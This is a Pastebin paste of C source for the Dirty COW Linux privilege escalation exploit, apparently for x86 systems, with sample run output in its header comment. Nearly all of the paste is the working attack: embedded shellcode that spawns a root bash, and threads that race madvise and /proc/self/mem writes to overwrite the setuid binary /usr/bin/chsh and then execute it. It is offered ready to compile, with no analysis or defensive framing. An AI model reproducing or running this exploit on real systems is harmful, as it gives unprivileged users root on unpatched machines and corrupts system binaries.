Cop1r3

DIRTYCOW x86

Oct 31st, 2017
155
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 3.36 KB | None | 0 0
  1. /*
  2. * $ gcc cowroot.c -o cowroot -pthread
  3. * $ ./cowroot
  4. * DirtyCow root privilege escalation
  5. * Backing up /usr/bin/passwd.. to /tmp/bak
  6. * Size of binary: 57048
  7. * Racing, this may take a while..
  8. * /usr/bin/passwd overwritten
  9. * Popping root shell.
  10. * Don't forget to restore /tmp/bak
  11. * thread stopped
  12. * thread stopped
  13. * root@box:/root/cow# id
  14. * uid=0(root) gid=1000(foo) groups=1000(foo)
  15. *
  16. * @robinverton
  17. */
  18.  
  19. #include <stdio.h>
  20. #include <stdlib.h>
  21. #include <sys/mman.h>
  22. #include <fcntl.h>
  23. #include <pthread.h>
  24. #include <string.h>
  25. #include <unistd.h>
  26.  
  27. void *map;
  28. int f;
  29. int stop = 0;
  30. struct stat st;
  31. char *name;
  32. pthread_t pth1,pth2,pth3;
  33.  
  34. // change if no permissions to read
  35. char suid_binary[] = "/usr/bin/chsh";
  36.  
  37. unsigned char sc[] = {
  38.   0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  39.   0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
  40.   0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  41.   0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,
  42.   0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  43.   0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00,
  44.   0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
  45.   0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,
  46.   0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,
  47.   0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00,
  48.   0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53,
  49.   0x89, 0xe1, 0xcd, 0x80
  50. };
  51. unsigned int sc_len = 136;
  52.  
  53. void *madviseThread(void *arg)
  54. {
  55.     char *str;
  56.     str=(char*)arg;
  57.     int i,c=0;
  58.     for(i=0;i<1000000 && !stop;i++) {
  59.         c+=madvise(map,100,MADV_DONTNEED);
  60.     }
  61.     printf("thread stopped\n");
  62. }
  63.  
  64. void *procselfmemThread(void *arg)
  65. {
  66.     char *str;
  67.     str=(char*)arg;
  68.     int f=open("/proc/self/mem",O_RDWR);
  69.     int i,c=0;
  70.     for(i=0;i<1000000 && !stop;i++) {
  71.         lseek(f,map,SEEK_SET);
  72.         c+=write(f, str, sc_len);
  73.     }
  74.     printf("thread stopped\n");
  75. }
  76.  
  77. void *waitForWrite(void *arg) {
  78.     char buf[sc_len];
  79.  
  80.     for(;;) {
  81.         FILE *fp = fopen(suid_binary, "rb");
  82.  
  83.         fread(buf, sc_len, 1, fp);
  84.  
  85.         if(memcmp(buf, sc, sc_len) == 0) {
  86.             printf("%s overwritten\n", suid_binary);
  87.             break;
  88.         }
  89.  
  90.         fclose(fp);
  91.         sleep(1);
  92.     }
  93.  
  94.     stop = 1;
  95.  
  96.     printf("Popping root shell.\n");
  97.     printf("Don't forget to restore /tmp/bak\n");
  98.  
  99.     system(suid_binary);
  100. }
  101.  
  102. int main(int argc,char *argv[]) {
  103.     char *backup;
  104.  
  105.     printf("DirtyCow root privilege escalation\n");
  106.     printf("Backing up %s to /tmp/bak\n", suid_binary);
  107.  
  108.     asprintf(&backup, "cp %s /tmp/bak", suid_binary);
  109.     system(backup);
  110.  
  111.     f = open(suid_binary,O_RDONLY);
  112.     fstat(f,&st);
  113.  
  114.     printf("Size of binary: %d\n", st.st_size);
  115.  
  116.     char payload[st.st_size];
  117.     memset(payload, 0x90, st.st_size);
  118.     memcpy(payload, sc, sc_len+1);
  119.  
  120.     map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
  121.  
  122.     printf("Racing, this may take a while..\n");
  123.  
  124.     pthread_create(&pth1, NULL, &madviseThread, suid_binary);
  125.     pthread_create(&pth2, NULL, &procselfmemThread, payload);
  126.     pthread_create(&pth3, NULL, &waitForWrite, NULL);
  127.  
  128.     pthread_join(pth3, NULL);
  129.  
  130.     return 0;
  131. }
Advertisement
Add Comment
Please, Sign In to add comment